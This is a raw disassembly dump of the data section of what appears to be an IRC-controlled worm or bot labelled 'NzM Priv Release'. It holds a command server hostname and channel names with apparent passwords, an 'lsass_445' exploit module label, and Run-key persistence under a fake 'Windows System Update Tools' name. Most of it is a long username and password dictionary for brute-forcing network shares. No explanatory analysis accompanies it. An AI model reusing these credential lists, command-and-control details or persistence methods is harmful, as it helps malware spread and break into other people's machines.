db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
unk_42E58C db 2 ; DATA XREF: sub_40E08F+89o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
unk_42E5BC db 2 ; DATA XREF: sub_40E08F+57o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E284+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_40E284+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_40E284+B5o
unk_42E618 db 2 ; DATA XREF: sub_40E284+76o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareListError db ' Share list error: %s <%ld>',0
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40E284+26o
align 4
unk_42E688 db 2 ; DATA XREF: sub_40E3A5+B6o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSNoUsernameSpe db ' %s: No username specified.',0
unk_42E6C0 db 2 ; DATA XREF: sub_40E3A5+94o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
align 10h
unk_42E700 db 2 ; DATA XREF: sub_40E3A5+6Do
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
unk_42E730 db 2 ; DATA XREF: sub_40E4EB+394o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUserInfoErrorL db ' User info error: <%ld>',0
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40E4EB+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40E4EB+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40E4EB+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40E4EB+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40E4EB+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40E4EB+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40E4EB+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40E4EB+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40E4EB+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40E4EB+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40E4EB+1CBo
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40E4EB+1A0o
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40E4EB+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40E4EB+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40E4EB+125o
aGuest db 'Guest',0 ; DATA XREF: sub_40E4EB:loc_40E604o
align 10h
aUser_0 db 'User',0 ; DATA XREF: sub_40E4EB:loc_40E5FDo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40E4EB:loc_40E5F6o
; ___:0042EEECo ...
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40E4EB+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40E4EB+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40E4EB+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40E4EB+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E8B9+14Fo
align 4
unk_42E8FC db 2 ; DATA XREF: sub_40E8B9+F7o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_40E8B9+BEo
align 4
unk_42E944 db 2 ; DATA XREF: sub_40E8B9+7Ao
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUserListErrorS db ' User list error: %s <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E8B9+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40EA39:loc_40EB56o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40EA39:loc_40EB4Fo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40EA39:loc_40EB48o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EB41o
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40EA39:loc_40EB3Ao
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40EA39:loc_40EB1Do
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40EA39:loc_40EB16o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40EA39:loc_40EB0Fo
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40EA39+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40EA39:loc_40EAE4o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EADDo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40EA39:loc_40EAD6o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40EA39:loc_40EACCo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40EA39+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EAA6o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40EA39:loc_40EA9Co
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40EA39:loc_40EA92o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40EA39:loc_40EA88o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40EA39:loc_40EA7Eo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40EA39+3Bo
align 10h
unk_42EC60 db 2 ; DATA XREF: sub_40EB6D+ABo
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
align 4
unk_42EC9C db 2 ; DATA XREF: sub_40EB6D+81o
db 74h, 2, 72h
db 6Eh ; n
db 28h, 30h, 31h
db 61h ; a
db 29h, 20h, 5Bh
db 6Eh ; n
db 65h, 74h, 2Eh
db 6Dh ; m
db 1Fh, 64h, 1Fh
db 6Ch ; l
db 5Dh, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aMessageSentSuc db ' Message sent successfully.',0
align 8
dword_42ECD8 dd 0D6DBh ; ___:0040F293r
dword_42ECDC dd 0D6DCh dword_42ECE0 dd 17D2h dword_42ECE4 dd 45h ; sub_40F6F1+5560r
dword_42ECE8 dd 2327h ; sub_40F6F1:loc_414D4Ar
dd 8234h
dword_42ECF0 dd 1 dword_42ECF4 dd 1 ; ___:0040EFA1r
byte_42ECF8 db 2Eh ; DATA XREF: sub_40D583:loc_40D58Fr
; sub_40F6F1+AFCr ...
align 4
dword_42ECFC dd 6 ; sub_415F27+51r ...
dword_42ED00 dd 2 ; sub_40F6F1+27Cr ...
dword_42ED04 dd 1 ; sub_40F6F1+276r
dword_42ED08 dd 1 dword_42ED0C dd 1 ; sub_40F326+101r
a4492 db '4492',0 ; DATA XREF: sub_40327E+9Ao
align 4
aArrapao db 'arrapao',0 ; DATA XREF: sub_40327E+95o
aArrapato db 'arrapato',0 ; DATA XREF: sub_40327E+90o
align 10h
aLsass_445 db 'lsass_445',0
byte_42ED3A db 1 ; DATA XREF: sub_40F6F1:loc_41483Er
; sub_40F6F1+5157o
aLs1ls db 'ls1ls',0
align 4
dd 736D0100h, 737361h, 0
dd 6F636401h, 3533316Dh, 1000000h, 3 dup(0)
dword_42ED68 dd 1 aArra db 'arra',0 ; DATA XREF: ___:0040EC95o
; sub_40F6F1+3F38o ...
align 4
aNzmPrivRelease db 'NzM Priv Release by Ud2',0 ; DATA XREF: sub_40F6F1:loc_4157E1o
aC0d1am0z3 db 'c0d1am0z3',0 ; DATA XREF: sub_40F6F1+62B9o
; sub_40F6F1+6388o
align 4
aPriv_gigaservi db 'priv.gigaservice.it',0 ; DATA XREF: ___:0040F1CBo
; ___:0040F284o
aSodoma_3 db '##sodoma_3',0 ; DATA XREF: sub_402B92:loc_402BACo
; sub_402CA9:loc_402CC3o ...
align 4
aS0dom4j03 db 's0dom4j03',0 ; DATA XREF: ___:0040F203o
; ___:0040F2ACo
align 4
byte_42EDC4 db 75h ; DATA XREF: sub_40327E+84o
; sub_403BE2+Fo ...
db 70h, 64h, 73h
dd 6578652Eh, 0
dd 646E6957h, 3173776Fh, 7379732Eh, 0
aWindowsSystemU db 'Windows System Update Tools',0 ; DATA XREF: sub_40C738+Eo
; ___:0040EFCCo
aUpds db 'upds',0
align 4
aXtIb db '-xt+iB',0 ; DATA XREF: sub_40F6F1+6401o
align 4
aSodoma_3e db '##sodoma_3e',0 ; DATA XREF: sub_40F6F1:loc_412A85o
; sub_40F6F1+5312o ...
aSodoma_3s db '##sodoma_3s',0 ; DATA XREF: sub_40F6F1+4942o
; sub_40F6F1+4997o
aSodoma_3s_0 db '##sodoma_3s',0 ; DATA XREF: sub_40F6F1+1DFBo
; sub_40F6F1+1F68o
aSodoma_3t db '##sodoma_3t',0 ; DATA XREF: sub_40B0E7+33Co
off_42EE3C dd offset a@arrapao ; DATA XREF: sub_40F6F1:loc_4159F4o
; "*@arrapao"
off_42EE40 dd offset aIrofferV1_3b10 ; DATA XREF: sub_40F6F1+8C9r
; sub_40F6F1+631Fo
; "iroffer v1.3b10 [Ud2 23874155], http://"...
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_416561+28o
; sub_416885+28o
align 4
aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_416561+D4o
; sub_416885+D4o
align 4
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 10h
off_42EF40 dd offset byte_43C63C ; DATA XREF: sub_404969:loc_404A00r
; sub_404969+A8o ...
dd offset byte_43C63C
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_1 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_1 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_0 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin_1 ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_4343A8 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset a0 ; "0"
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
